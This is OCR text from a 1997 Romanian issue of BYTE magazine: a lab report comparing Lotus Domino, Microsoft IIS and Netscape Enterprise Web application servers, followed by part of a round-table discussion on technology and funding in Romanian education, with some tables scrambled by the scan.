platformele server proiectate iniţial pentru publicare statică de date. Con- strângerile platformelor, integrarea unor aplicații moştenite, distribuirea şi stocarea de obiecte şi procesarea tranzacţiilor impun unele limitări serioase ale bazei actuale de produse statice Web-server, împiedicân- du-le să funcționeze - sau de la o evoluţie rapidă în acest sens - ca şi nişte servere de aplicaţii optimizate şi robuste. Pentru acest raport, am testat patru ser- vere de aplicaţii Web, examinând trei sub Windows NT şi unul sub Unix. Cele incluse au fost Lotus Domino Server 4.5a for Win- dows NT de la Lotus Development, Inter- net Information Server (IIS) 3.0 for Win- dows NT 4.0 de la Microsoft si Netscape - Enterprise Server 2.01 for Windows NT si Unix de la Netscape Communications. Fiecare producător a avut propria agendă: Lotus a dorit să-și sublinieze dominaţia pe piaţa de groupware/middleware şi să-și expună funcţionalitatea pe Web a pro- duselor sale Notes; Microsoft a dorit să-şi vândă sisteme de operare şi a sugerat uti- lizatorilor să treacă la platforma Windows NT Server; iar Netscape a dorit să-şi con- tinue dominaţia pe piaţa serverelor Web, printr-o forţare a noilor tehnologii inde- PUES 19:97, pendente de platformă și prin adăugarea unor produse noi pe piaţă. Adunarea produselor ar fi fost mai ușor de făcut dacă toți producătorii s-ar fi inte- les a o singură dată de lansare. Din păcate, upgrade-ul Enterprise Server 3.0 de la Netscape și Web Application Server (WAS) 3.0 de la Oracle au depășit termenul limită. Citiţi caseta „Aceste servere au pierdut trenul“ pentru a vedea în detaliu cum vor afecta aceste produse grupul. Istoria aplicațiilor Web Pentru a publica aplicaţii Web aveţi nevoie de multe tipuri de ajutoare, cum ar fisuport pentru protocoale Internet, servicii pen- să Ale, SE [5] “Mietaaoli iene Information Server 3. o Este rapid, administrarea este strâns. d integrată cu Windows NT șieste livratcu un pachet care conţine Index Server, Crystal Report Writer, NetShow, FrontPage și Active Server Page. IS servește pagini Web statice și dinamice. in mod rapid și dinamic. tru stocare de date/obiecte si disponibility groupware, cum ar fi programarea agendei (calendaring) si planificare de grup. Serverele testate includ majoritatea carac- teristicilor importante, fie ca parti standard ale pachetului, fie ca optiuni. Cele mai importante pentru serverele de aplicatii Web sunt suportul HTTP, unserver de baze de date, servicii de mesaje si un motor de căutare full- text. Toţi cei trei producători icon HTTP în produsele lor, însă doar Domino include, Serverele care găzduiesc apli- cații aduc un nou nivel de interactivitate siturilor Web. De David Seachrist si Stephen Platt in mod standard, servicii pentru baze de date si mesaje. IIS si Enterprise Server nece- sită servicii opționale sau terțe pentru baze de date şi mesaje; doar Enterprise Server oferă, în mod standard, e-mail IMAP. Producătorii de servere au ales fie un sin- gur suport SO - cum ar fi Microsoft, al cărui IIS rulează doar sub Windows NT 4.0 - fie prezintă un suport mai larg, aşa cum fac Netscape şi Lotus. Atât Enterprise Server cât şi Domino rulează sub diferite versiuni de Unix, precum şi NT 3.51 şi 4.0; Domi- no rulează chiar şi sub OS/2. Performanţa reprezintă evident o con- sideraţie importantă, atunci când doriți să distribuiţi aplicaţii într-un mediu de între- prindere. O modalitate de-a creşte perfor- manţa este de-a adăuga UC-ului putere de procesare. Deoarece aceasta înseamnă înlocuirea UC-ului serverului cu un proce- sor mai rapid, în prezent puteţi adăuga mai multe procesoare datorită posibilităţii de multiprocesare simetrică. Toate serverele Web suportă SMP (Symmetric Multiprocessing), deși unele maşini o fac mai bine decât altele. În plus, preţul a devenit o problemă în termeni de suport SMP. Atât Netscape cât şi Lotus cer o taxă suplimentară pentru versiunile SMP ale propriilor produse; Microsoft însă n-o face. Deţilarea nivelelor Când un singur server deserveşte sute sau mii de utilizatori, căderea serverului nu tre- buie să reprezinte o posibilitate. Însă men- ținerea a două sau mai multe servere iden- tice pentru backup poate fi costisitoare. Astfel, extinderea modelului client/server la Internet necesită unele remodelări pen- tru a-l face mai puţin costisitor şi mai tole- rant la defecte. Prin extinderea modelului client/server la un scenariu multinivel, distribuiţi servicii Proprietăţile ba- zei de date din Lotus Domino Server sunt con- figurabile din platforme diferite, incluzând și acest aI 3 {; i] [PERDEA Site Manager Enterprise Server dela = mm a. Netscape include Site Manager pentru administrare de conexiuni și conţinut sub Windows NT. ‘Use the To Do List dialog bax te view the To Do List for a FrontPage web, and add, delete, or "|| The information about each task is displayed in || labeled columns. To sort the list hy a field click Internet Information Server de la Micro- soft se imbina cu FrontPage pentru crearea de sit Web. Serverele de aplicatii Web pe care le-am testat oferă o bogăţie de servicii pentru platforme diferite. care anterior au fost manevrate de la un sin- gur server la mai multe servere. Serverele suplimentare nu sunt duplicate ale primelor, ci mai degrabă alternează handler-ele de ser- viciu. Un exemplu elocvent este cel în care un server este folosit pentru servicii de baze de date, iar altul pentru servicii Web. O dezvoltare interesantă, rezultând din această deplasare către procesarea multinivel, este conceptul agenţilor - apleturi automate guvernate de reguli ale proceselor comerciale. Intr-un model work-flow, un agent poate fi proiectat să semnalizeze unui membru al grupului de lucru căun document este pregătit pentru analiză, doar după ce alt membru al grupului şi-a terminat propria inspecţie. Evenimente cum ar fi modificări ale docu- mentelor și creări de documente acționează ca și un declanșator pentru a lansa un agent; apoi, după ce apare declanșarea, agentul con- duce în mod automat o acțiune specifică. Agenţii reprezintă, în general, un concept mai vechi, însă crearea agenţilor în diferite limbaje de programare, pentru a rula pe diferite platforme, este un concept relativ nou. În versiunea actuală, Domino suportă agenții, însă nu şi CORBA, în timp ce Enterprise Ser- ver suportă agenţi doar în versiunea 3.0. Cu Microsoft IIS puteţi scrie proprii d-voastră agenți folosind comenzi înglobate Visual Basic într-un Active Server Page, însă nu veţi bene- ficia de funcționalități de administrare agent așa cum există în Lotus Domino Server. Aplicații pentru Web Cei trei producători oferă unelte perfor- mante de dezvoltare de aplicaţii. Live Wire şi LiveWire Pro de la Netscape, în combi- nație cu suportul pentru Java și JavaScript al Netscape Enterprise Server, au fixat sta- diul pentru momentul actual de transfor- mare a Web-ului în cea mai largă platformă de dezvoltare. Domino.Action, asistentul de creare a unui sit dinamic, de la Lotus, vă permite să creaţi situri cu medii de conlucrare în afaceri, printr-o simplă completare a câmpurilor specificate. Paginile Web, care acţionează ca şi un depozit de pagini albe şi discuţii înșirate, se creează virtual singure. De cealaltă parte, situri Domino.Action mult mai complexe ar putea necesita un timp mai lung de compi- lare. Paginile Active Server de la Microsoft au înglobat comenzile Visual Basic în tag-uri- IULIE 1997 BYTE România 65 Software Lab Report Aplicaţii Web la serviciul vostru le HTML. Aplicațiile necesită baze de date iar apli- caţiile Web nu fac excepţie. Modul de împa- chetare al bazelor de date de sub Netscape se va schimba în curând, însă actualul Live Wire Pro (care include serverul de baze de date al SERVEBE: PEN.IERU APLICATII WEB CEL MAI BUN | Introduction duction Microsoft Internet InformationServer 3.0 li Informix) reprezintă 0 optiune de 695$. IIS | Microsoft Internet necesită Microsoft SQL Server (849$ licența — Information Servera = a pentru unsingur server) pentruaadaugaser- câştigat de data asta | = oe vicii de baze de date de capacitate industri- competitia. Documentation | ală la serverul Web. Notes nu este relațional, FR ELICE RIA însă permite o stocare de conţinut bogat pen- ea AC Ride . N x ; us Domino icrosoft Interne e tru informaţie nestructurată, cum a fi doc- Server 4.5a Information Eta ie Enterprise Server umente de prelucrare de texte şi fişiere Server 3.0 Server (Unix) (Windows NT) multimedia. Toate serverele, pe care le-am oo $995 Bundled with Windows $1295 $1295 testat, se conectează la baze de date tra- NT Server ($809) ditionale prin ODBC. TEHNOLOGIE = Ak ok ttt tk i AA Nu toate datele corespund bazelor de date IMPLEMENTARE kk AAA AAA AAA tradiționale. Aceste servere furnizează o PERFORMANȚĂ 4 AAA AAA kkk : : ee eee full text, care e permite să obţineţi Mio. AAA ax ne foe informaţia care n-a fost stocată uşor în NSTALARE or iu E Lia vechile formate de tabele de baze de date cu APREGIERE coloane şi rânduri. Astfel de informaţii GENERALĂ AA AAA tot tok includ date din comunicate de presa ȘI AA AAA Excepţioani AAA A Foarte Bine XA Bine AA Acceptabil x Slab broşuri de produse. Domino suportă cele mai multe formate de documente şi, opţional, vă permite să includeți mesajele poştale în procesul de căutare, ceea ce permite și o baleiere a bazelor de date Notes. Index Server care vine înglobat în IIS, permite căutări indexate ale documentelor HTML, text şi MS Office; puteți adăuga şi alte formate cu filtrul Soft- ware Development Kit al Microsoft. Enter- prise Server suportă, în mod curent, doar HTML şi text şi nu permite actualizări ale indexului pe baza fişierelor modificate, în 109 0080» N oo ARHITECTURA OBIECT Sisteme deschise și sisteme proprietate 66 BYTE Romania. În această epocă a componentelor software, distribuirea aplicaţiilor coboară către dis- tribuirea de obiecte. Pentru arhitecturile obiect există două posibilități: DCOM și CORBA. DCOM (Distributed Component Object Model) de la Microsoft este construit pe tehnologii ActiveX și OLE. DCOM folosește Windows NT Server însă nu și Unix - care este standardul istoric de facto pentru serverele Internet. Prin urmare, dacă doriți să folosiţi DCOM, pentru distribuirea aplicaţiilor, veţi fi înţepenit lângă Microsoft. În prezent însă, Software AG are un produs în versiune beta care extinde OLE și ActiveX la serverele Unix. Lotus și Netscape, pe de altă parte, folosesc CORBA (Common Object Request Broker Arhitecture), care oferă o arhitectură obiect mult mai completă decât DCOM. Specificată de OMG (Object Management Group), CORBA promite o modalitate de implementare a obiectelor care să fie partajată între mașini, chiar și atunci când aceste obiecte rulează sub sisteme de operare diferite. Netscape planifică să ofere JavaScripting pentru Java, obiecte CORBA și suport pentru servicii CORBA și IIOP, odată cu lansarea lui Netscape Enterprise Server 3.0 în al doilea tri- mestru al acestui an. Lotus, la rândul său, planifică pentru această vară o prezentare a claselor back-end Domino via Java și extinde această prezentare la IIOP pentru sfârșitul anului. Caracteristicile de fond ale CORBA sunt independenţa de platformă și rezervele pentru procesarea tranzacţiilor ca și parte a specificaţiilor sale. DCOM reprezintă o soluţie pentru o platformă singulară iar serviciile de tranzacţie Microsoft sunt construite la vârful DCOM; se mândrește cu o bază instalată de peste 50 milioane de utilizatori și este strâns integrat cu Windows SO. Netscape nu este singur în tratarea ca o arhitectură proprietară a DCOM, însă susţine că, în timp ce DCOM este un mediu de aplicație complet, CORBA este pur și simplu o mixare de specificaţii asamblate din mai multe idei ale producătorilor de software despre cum să inter- pretaţi și să implementați obiectele distribuite. Dacă istoria reprezintă un indiciu, o tehnologie de conexiune între DCOM și CORBA va evolua iar discuţiile se vor diminua. În continuare, va trebui să vă așteptați la un zgomot destul de mare pentru realizările fiecăruia. EU BEES 9:9.7 același mod în care era permisă indexarea funcţiilor în alte servere. Toţi producătorii produc componente de broadcasting pentru distribuirea informaţiei în timp real și la cerere. NetShow de la Microsoft oferă streaming şi audio-video la cerere precum și broadcasting al fişierelor folosind HTTP. Elvine înglobat cu IIS și fără un cost suplimentar. Domino.Broadcast de la Lotus oferă distribuţie de text streaming şi obiecte OLE via PointCast pentru un preţ adiţional de 1295$, cu un serviciu video suplimentar planificat pentru lansarea de la sfârşitul acestui an. Media Server de la Netscape furnizează în mod curent audio streaming. Nici un server Web nu poate fi livrat fără unelte de creare de sit sau de administrare. Domino.Action de la Lotus, FrontPage de la Microsft şi extensiile FrontPageServer şi Na- - vigator Gold de la Netscape, toate creează ra- pid şi ușor situri Web. Deşi nu atât de grafic ca şi Frontpage, Domino.Action configurea- ză rapid medii Web de colaborare, care supor- tă discuţii orientate şi biblioteci de documente. Lotus Domino Server 4.5a Infrastructura multinivel şi serviciile group- ware fac din Lotus Domino Server o posi- bilitate atractivă pentru un server de aplicaţii Web. Domino folosește stocarea de date cu conţinut bogat de la Lotus Notes, furnizează servicii middleware pentru a trata incom- patibilităţile dintre formatele de fişiere şi oferă o cale de upgrade pentru toleranța la defecte şi echilibrarea încărcării. Această bază bogată de caracteristici afectează per- formanțţa și prea puţine servicii sunt con- * Aplicatii Web la serviciul vostru | Software Lab Report CoA ROA CO TE OR Leet bos : Microsoft forme standardelor Internet. Lotus isi plani- fică să extindă serios posibilităţile Domi- no-ului, până la sfârşitul acestui an. Totce putem spune, în acest moment, este că Enterprise Server 3.0 arată bine pe hârtie. Serviciile workgroup includ directoare, Lotus Domino Netscape Netscape Lain d bibl ded 45a IIS 3.0 Enterprise Enterprise Planiiicare de grup, oiouoteca (E. Gocu- (Windows NT) (WindowsNT) Server2.01 Server2.01 mente, fluxul activităţii, forum şi știri, toate (Unix) (Windows NT) ajutând colaborarea între angajaţii com- so suportat IBMAIX,IBM NT4.0 DECUnix, NT4.0,NT3.51 paniei. Domino oferă cel mai mare suport OS/2, HP-UX, IBMAIX,SGI_ (also Unixand pentru aceste functii, fara a fi nevoie de adao- Se gees Solaria, Macintneh) suri, însă folosirea la maximum a avantajelor Macintosh acestor servicii necesita un client Notes, cum Tehnologie de obiecte ee as es ar fi Notes desktop (69$ de client). Webli- nee + None: DCOM CORBA .. CORBA. ; us ostul pentru suport cats WA pa OEe lug-in de 29$ reproduce multiprocesor $2995 Fără taxă $5593 $5593 conţinutul sitului în baza de date a unui client Notes împreună cu unele servicii Notes, pen- SERVICII STANDARD/COMPONENTE . : Server de baza de date V A A A tru o navigare off-line. asia ceai i ne Domino este singurul program testat de oe — sis vide : : E Gopher V noi care extinde OLE de la Microsoft la GMTEIRANNE 2 2000520 pa pat A A) clienții Macintosh precum şi la clienţii POP3 A A A Windows și este, de asemenea, singurul care Streaming audio ares A eae rulează sub OS/2 - deloc surprinzător, dato- Streaming video Vv rita proprietatii IBM asupra Lotus. Lotus Directory/address eo e N ae Domino Server este câştigătorul actual il e Ata . . wi Servicii bibliotaca de documente pentru crearea şi publicarea unui sit Web, cu şi control versiune A 7 Vv aplicatii de colaborare in procesul de activi- Actiuniworkflow vw sata skis tate. Setul bogat de functiial Domino-ului = = 2 a a. SECURITATE îl face o opțiune mai puţin atractivă pentru Suport S-HTTP i, i publicarea simplă de conţinut static. Supot SSL. aia sia i (2.0și 3.0) SSi20 = ov V Microsoft Internet Criptarea fișierelor stocate Notes Information Server 3.0 Semnaturidigitale Notes Deşi IIS duce lipsă de funcţii de stocarea FUNCŢII ADMINISTRARE SERVER obiectelor, mesagerie şi componente de Opţiuni pentru configurări : procesare în colaborare, pe care Domino le De lil v Li și v oferă suplimentar, el este bine integrat cu sis- Bie Meee M = Secure remote temul de operare NT Server. IIS mosteneste feel Vv Vv a Vv toate serviciile aplicabile NT, insa ruleaza ACCEA DAE DATE doar sub NT. Microsoft a dovedit că este bun 5 : CO ENG Ea Tehnologia trasfer/procesareA A A la distragerea atentiei de la slăbiciunile IIS, seic EA SARII ga A A A lansând produsele Active Server Pages, Index Apelproceduristocate W Vv Server, NetShow si FrontPage care sunt Editor de rapoarte inclus Vv A A impresionante. Pentru a furniza servicii : nae ° ant paria a furniz oe DEZVOLTAREA APLICAȚIILOR aze de date cu adevărat impresionante E norul nivel senversentn necesită server SQL Microsoft. mașină virtuală Java v v v Suplimentar faptului că a prezentat un Script ActiveX Vv WinCGI pachet impresionant, IIS a fost cel mai Compilers ipo v rapid server pe care l-am testat. Acestea sunt | “ i v v două motive serioase de-a merge acolo unde Se end Vi vi v Microsoft vrea să mergeţi astăzi SUPE AARI di Bet Suport NSAPI Vv Netscape Enterprise Se se Server 2.01 CAUTARE FULL-TEXT E eS | : Formate de fisier nterprise Server a mers mult ca şi server pi opiitaLă Vv pi Web static, însă pentru aplicaţiile Web ați CECO Zis sa prefera noile tehnologii care sosesc cu versiu- indexării documentelor. v nea 3.0. Lista este lunga (vezi caseta ,,Aces- Căutare după atributul : cues documentului (metadata) WY V te servere au pierdut trenul“) şi includ o Pyciliiy dă ala 4 we administrare de conţinut distribuită și îmbunătățită, suport pentru baze de date, ERE DE CONȚINUT ȘI ADMINISTRARE DE SIT agenți inteligenţi şi CORBA (Common ii i a Object Request Broker Arhitecture). Gaia Y= da. Notes =caracteristica disponibilA la clientii Lotus Notes. WinCGI= suport OLE pentru clienti Windows via WinCGl. IULIE 1997 BYTE Romania 6/7 Software Lab Report | Aplicaţii Web la serviciul vostru Aceste servere au pierdut trenul Nici Enterprise Server 3.0 de la Netscape si nici WAS 3.0 de la Oracle n-au fost pe deplin gata când am efectuat testele. Oricum, ambele . merită o atenţie dacă evaluaţi servere. Netscape Enterprise Server 3.0 Cu lansarea în această primăvară a Enterprise Server 3.0, Netscape speră să descentralizeze administrarea siturilor Web, prin trecerea res- Enterprise Server 3.0 suportă admi- » nistrarea de la distanţă de oriunde. la conţinutul pe care l-au creat. ponsabilităţii pentru administrarea de conţinut de la Webmasteri la creatorii de conţinut. Ideea este de a-i lăsa pe utilizatori să adauge docu- mente și directoare siturilor lor și de-a deter- mina, din propriul navigator, drepturile de acces Noua lansare adaugă funcţii de căutare full- text cum ar fi actualizări automate de index, per- miterea unui acces imediat la căutări ale datelor proaspăt schimbate și căutare după conținut, sau după atribute de document, cum ar fi: autor, titlu și date modificate. Procesarea informaţii- lor pe baza regulilor - în mod similar cu tehnolo- gia work-flow în pachetele groupware proprie- tare - va fi adăugată de asemenea sub forma unor agenți inteligenţi declanșaţi de evenimente specifice. Protocolul LDAP furnizează o interfață pen- tru serviciu open-directory pentru administrare de servere interoperabile în timp ce noile funcţii de administrare distribuită permit o configu- rare de servere sincronizate. Pe măsură ce comerțul Internet va crește, vor fi necesare baze de date puternice şi funcţii de procesare a tranzacţiilor. Proceduri înmaga- zinate, conexiuni de baze de date multiple și tranzacții persistente vor fi toate funcţii pe care Enterprise Server 3.0 le va suporta. În plus, vor fi adăugate conexiuni native cu baze de date Informix și Oracle. Oracle Web Application Server 3.0 În loc să încerce să intre pe piața competitivă a serverelor Web, Web Application Server (WAS) 3.0 se folosește de puterea deţinută de Oracle în tehnologia bazelor de date și a procesării tranzacţiilor, pentru a furniza o infra- structură, pentru furnizarea aplicaţiilor tranzac- ţionale. WAS 3.0, lansat cu un Web server de la Spyglass Technologies, lucrează cu majori- tatea altor servere Web populare (incluzând IIS și Enterprise Server) și rezolvă problema interfeței dintre aplicaţii proprietare prin izo: larea aplicaţiilor de server. Acest model de izo- lare a procesului forțează fiecare aplicaţie să PL/SQL Agent Administration Create PL/SQL Transaction Creation a ate Agent Transactional Services = Application (SB Transaction Name Ss ae | Commit Transaction URE Pstypisqiimert Corwen | Roliback Transaction URL. jfshipisqlmort Roiback | Transactional RM List | WAS 3.0 foloseste agenti pentru admi- - nistrarea tranzactiilor bazelor de date. ruleze ca sio instanta separata de proces per- sistent, in timp ce un mecanism de expediere HTTP de la serverul HTTP furnizează legătura. Tehnologia de la Oracle folosește ORB (Object Request Broker) Web conform COR- BA și cartușe care pot fi fixate în broker pen- tru a furniza servicii de back-end variate, pen- tru interfaţa cu baza de date Oracle SOL, mașina Virtual Java, baze de date conform ODBC și alte surse de date. Cartușele rulează independent însă, pot, de asemenea, comu- nica cu aplicaţii sau cu alte cartușe fără a fi legate de nivelul HTTP. Cartușele pot fi de asemenea distribuite la servere în locul unui singur server, așa cum este cazul cu WebServer 2.1, versiunea pre-CORBA a WAS 3.0 Deși are dinţii un pic cam lungi, Enterprise Server 2.01 s-a comportat respectabil în competiția cu noii competitori. O piață competitivă Când ne uităm la Web ca și la o rampă de lansare pentru procesarea multinivel, veştile proaste sunt următoarele: Când a fost con- ceput acest articol (la începutul lui aprilie), nimeni nu oferea un produs care să trateze toate aspectele obstacolelor din calea oferiri de servicii de aplicaţii Web într-o manieră robustă, transparentă, optimizată și eficien- tă. Veştile bune sunt că în general competiţia a îndemnat producătorii să umple golurile din propriile tehnologii într-un ritm uluitor. Pe baza a ceea ce am văzut în lansările curente şi a produselor beta, în curând companiile de toate mărimile vor fi capabile să folosească siturile Web ca şi medii de procesare în colaborare. Procesarea în colaborare bazată pe Web INFORMAȚII DESPRE PRODUS 68 BYTE Romania IULIE 1997 necesită totuși îmbunătăţiri tehnologice şi de infrastructură pentru a rezolva adevăratele probleme economice. Oricum, o piaţă din ce în ce mai competitivă va continua să sorteze produsele mai bune cu un preț mai mic. Bă David Seachrist a testat timp de 10 ani pentru NSTL tipuri diferite de programe. Poate fi con- tactat la dseachrist@prodigy.com. Stephen Platt este director NSTL pe domeniul publicatiilor electronice. Poate fi contactat la editors@nstl.com. [din BYTE, o publicaţie McGraw-Hill, Inc. Adaptare - Daniel Moldovan] Schimbările tehnologice si scoala în România ehnologiile educaţionale noi ar putea contribui la un învăţământ modern, care să ofere societăţii oamenii capabili să lucreze la nivelul cerințelor unei societăți moderne. La CERE, una dintre mesele rotunde a fost ded- icată acestei probleme. Mulţumesc invi- taţilor că au găsit timpul necesar participării şi regret că interesul din partea firmelor și publicului participant la CERE a fost mai mult decât modest. Dar, iată şi desfăşurarea discuţiilor: Darvas Attila: Ce rol are CNFIS (Consiliul Naţional Pentru Finanţarea Învă- tamantului Superior) $i cum vede CNFIS informatizarea învățământului în România? Ce programe şi ce resurse există pentru universităţi ? Silviu Cucerzan (CNFIS): Implementarea programelor se va face, în primul rând, cu sprijinul Băncii Mondiale. Nu sunt bani străini, dar alo- carea lor este doar o parte din activitatea consiliului. Con- siliul alocă fondurile de la buget pentru instituţiile de învățământ superior, sis- temul de burse şi sunt multe atribuţii. În ultimul timp, o mare atenţie s-a acordat aces- tui împrumut BM, care spe- răm să fie folositor. Împru- mutul este rambursabil, deci sunt tot banii nostri. Tre- buie spus ca sunt mentiona- te nişte domenii prioritare, unele sunt la sugestia BM, altele sunt pe baza progra- mului de reformă, însă nu au fost neglijate nici domeniile tradiționale, ca domeniile economic, juridic, ştiinţe socio-umane şi, desigur, domeniile interdisciplinare şi intro- ducerea tehnologiilor noi în învățământ, pe baza unor materiale multimedia şi altele. Avem în vedere şi introducerea sistemului de credite transferabile, transferabil însem- nând mişcarea liberă a studenţilor între uni- D-na Laura Lăzăroiu și d versități, pentru a putea beneficia de cursuri care se fac doar într-un anumit loc. Și atunci, va trebui, evident, realizată o infrastructură pentru a putea comunica eficient între uni- versităţi. Dezvoltarea acestei infrastruc- turi nu ține însă de CNFIS, decât într-o măsură mai mică. De fapt, există un împru- mut PHARE, care nu este rambursabil, de 8 mil. de ECU pentru crearea acestei infra- structuri pentru învățământ. Se referă la crearea unei rețele naţionale de comuni- E caţie, a bibliotecilor universitare şi la alte aspecte ale colaborării universitare. Din păcate, această componentă unu, din cauza unor întârzieri la Bruxelles este rămasă în urmă, probabil că se putea face mai mult. Ar fi trebuit să demareze acum un an și să fie sprijin pentru componentele doi și trei. -na prof. lrina Athanasiu. Componenta doi din finanţarea BM se referă la învățământ, în principal invata- mântul superior, iar componenta trei la cercetarea în învățământul superior. În ceea ce priveşte componenta doi, pentru care CNFIS organizează competiţia, există trei subcomponente: învățământ universitar, învățământ la nivel de colegiu și programe de educaţie permanentă. Toate aceste pro- grame au alocate un fond de 27,6 mil. dolari, pentru o perioadă de cinci ani. Și finanţarea se realizează pe bază de competiţie în patru runde de competiție, prima rundă a fost organizată în 15 ianuarie . Darvas Attila: Deci, există anumite fonduri. Cum au putut afla cei interesaţi de existența lor. Există documente publi- cate sau un sit Web accesibil public, de unde toţi cei intere- saţi pot să afle detalii despre participarea la proiecte ce pot fi finanţate din aceste fonduri? Silviu Cucerzan: Am publi- cat, în septembrie, un buletin, buletinul nr. 3 al consiliului | finanţării şi consiliului cer- cetării, trebuie să vă spun că, din păcate, nu avem buget pro- priu. Este paradoxal că CNFIS nu are un buget propriu, am publicat cu ajutorul unor bani de la TEMPUS şi vom publica, de asemenea, pentru runda a doua a competiţiei, la sfârşitul acestei luni, în buletinul nr. 4 în care sunt date informaţiile despre runda a doua. Darvas Attila: În câte exemplare au fost publicate buletinele şi unde au ajuns ele? Silviu Cucerzan: Aceste buletine au fost publicate în număr de 800 de exemplare, din câte ştiu eu, şi le-am distribuit la rectorate. Darvas Attila: Din păcate, acest mod de informare este total ineficient, existând peri- colul ca informaţiile să se rătăcească prin mormane de hârtii sau sertarele unor per- soane. Nu s-ar putea, totuşi, realiza un sit IULIE 1997 BYTE Romania 69 Dosar . Învățământul și noile tehnologii » _ Pa E A Web, cu informaţii accesibile pentru toți. Acest lucru nu este așa de complicat pe cât pare şi, la Tg.Mureş, unde predau şi eu, există peste 60 de studenţi cu pagini proprii şi accesibile de pe Web. Nu văd de ce n-ar putea face şi o instituție câteva pagini? Silviu Cucerzan: Nu a existat o pagină Web acum. Avem în vedere să facem această pagina Web, probabil si prin sprijinul dvs., pentru că vroiam s-o facem la Tg. Mureş. Deocamdată, nu avem fondurile, însă, putem cumpăra un server puternic pe care să-l folosim pentru Web. Acum avem o legă- tură doar prin modem. Cred că va exista acest lucru, voi trimite dl-ui Dumitru Rădoiu (lector univ. Tg. Mureş) toate mate- rialele. Totuși, există o pagină Web în care este prezentat CNFIS, dar nu cuprinde foarte multe informaţii şi care este făcută la Tg. Mureş. Darvas Attila: Din păcate, această pagi- nă nu există în acest moment. Ştiu pentru că văd zilnic pagina universității. Chiar nu există nici o posibilitate? Silviu Cucerzan: Noi nu avem un cont propriu pe Internet, este la Soros. Din păcate, am primit o circulară prin care se spune că trebuie să ne deconectăm și să ne legăm în rețeaua Eunet. Eram pe cale să otinem un cont Internet și am început să creem acea pagină, totuși, informaţiile din acest buletin vor apărea în mai multe pagini Web, sila Politehnică la București. Desigur, trebuie ţinut cont că, datorită bugetului, ministerul își permite să angajeze doar doi oameni care să lucreze pentru acest consiliu. Oricum, documentele există în for- mat Word sau RTF şi pot fi transmise pen- tru a fi publicate. 70 BYTE România. IULIE 1997 D-na prof. lrina Athanasiu si dl. Silviu Cucerzan. a $ Darvas Attila: Există și formularele necesare pentru a participa la concursuri? Silviu Cucerzan: Da, există și un sistem de formulare şi înregistrarea se face pe baza unui program surf. După care îl distribuim. Deocamdată l-am distribuit, tot aşa, pe câte o dischetă la fiecare rectorat, vă daţi seama, cu greu am obţinut fondurile ca să cum- părăm aceste dischete pentru 48 de rec- torate. Irina Athanasiu (U.P.B.): Înainte de a ne mișca mai departe, ar fi bine să ştim şi noi care au fost învățămintele relativ la prima rundă. Pentru că unii au câştigat, iar alții au pierdut. Am vrea să ştim cine a câştigat, de ce a câștigat, pentru că, din punctul nostru de vedere, lucrurile sunt neclare. Nu ştim cât este politică în ceea ce s-a întâmplat şi cât nu. Mai exact, ne-ar interesa ce a fost prost în proiectele realizate, pentru că ceea ce este caracteristic prost la aceste proiecte româneşti caracterizează, probabil, şi alte proiecte în cazul altor genuri de competiţii. Silviu Cucerzan: Fiecare participant va primi, în mod cert, fişele de evaluare de la cei trei evaluatori din universităţi, pentru că o primă evaluare este la nivel de experți din universități şi, apoi, fişa de evaluare a comisiilor de specialitate de la nivelul con- siliului. Vom publica situația de ansamblu şi ce s-a constatat. Vrem chiar să publicăm modele de cereri, să se ştie cum trebuie com- pletate aceste formulare. Darvas Attila: Avem onoarea s-o salu- tăm printre noi pe doamna Rodica Scafes, Education Adviser la British Council. Pro- gramele acestei instituţii pot ajuta integrarea europeană a învățământului. Rodica Scafeș (British Council): Să vă spun ce facem noi. Din octombrie '95, în cadrul bibliotecii engleze s-a înființat un ser- viciu special care se numeşte „education information service“, tocmai pentru că am constatat că numărul celor care se intere- sează de sistemul de învățământ britanic, la orice nivel de studiu şi de sponsorizare a crescut. De aceea, s-a înființat acest servi- ciu. Serviciul s-a dezvoltat foarte mult, în intervalul scurs din octombrie '95, şi am ajuns să oferim chiar consultanță, pentru că nu mai e vorba de simple răspunsuri la nişte întrebări, ci oferim o asistență calificată. De obicei, se încheie sesiunea și cu o prezentare de CD-ROM. Cred că serviciul a început să fie cunoscut și este extrem de solicitat. Trecând de această fază de organizare în care ne-am format, acum trecem în faza a - doua a intenţiilor noastre și vom ieși în . teritoriu. Vom încerca să sensibilizăm pen- tru forme de sprijin comunitățile locale pen- tru că, în momentul de fata, in care noi nu suntem încă membri ai comunităţii euro- pene, suntem obligați să plătim o taxă inte- grală. Aceste taxe sunt extraordinar de mari şi, la potenţialul candidaţilor din România nu și le pot permite efectiv. Pentru că aces- te taxe nu sunt subvenţionate de nimeni, nici de guvernul României, nici de guvernul bri- tanic. Ele sunt, să zicem, între 6 mii, 7 mii de lire sterline și trebuie să facem ceva pen- tru că, efectiv, pierdem oameni foarte valo- roşi. Fac o scurtă paranteză. A venit la mine un elev din clasa a XII-a, care este medaliat cu aur la Olimpiada Internaţion- ală de Fizică, şi care, în mod firesc, ar vrea să studieze în străinătate, în Marea Britanie. Spre „ruşinea“ universităţilor britanice, acestea au încercat să-l ajute, dar nici ele măcar nu au reușit să găsească sponsorizare pentru acest elev excepţional. În schimb, l-au acceptat cinci dintre cele mai mari uni- versități americane, cu bursă, Princeton, Harvard, Stanford etc. Iar, de la Stanford din California, l-a sunat personal laureatul Premiului Nobel pentru fizică pe anul tre- cutşi l-a sfătuit să vină la Stanford pentru că acolo are toate condiţiile, au şi accelerator de particule, iar acei 33 de mii de dolari, pe care trebuie să-i plătească pentru întreaga şcolarizare, îi poate obţine lucrând în cadrul laboratoarelor de fizică ale universităţii Stanford. Este foarte clar că pe acest copil îl pierdem. Pentru a evita astfel de situaţii, ne-am gândit să încercăm să obținem bani. Dacă se găsesc bani pentru fotbal, pentru vedete, pentru muzică pop şi tot felul de concerte cu Sabrina de ce nu s-ar putea găsi măcar a zecea parte din aceste sume şi care să fie destinate training-ului? Şi prima acti- une de acest gen o s-o avem la Sibiu când, cu ajutorul rectoratului universităţii de aco- lo şi a altor persoane, avem o întâlnire cu * Învățământul și noile tehnologii Dosar persoanele cheie ale comunităţii sibiene, deci cu directori de bănci, directori de între- prinderi, cadre didactice universitare şi mi s-a spus că ar fi adunaţi toţi acei care ar pu- tea, eventual, să acorde sprijin. Sigur că ră- mâne ca selecția să o facă ei, pe plan local. Sperăm să fie un succes deplin și, apoi, să implementăm acest lucru și în alte centre universitare, unde avem filiale, pentru că acolo putem să „faxăm“, să timitem mate- riale rapid. Darvas Attila: Există deja, din fericire, firme serioase, care au înţeles importanța sprijinirii sistemului educaţional. ROMSYS SA s-a remarcat, în acest, an prin dotarea universităţii 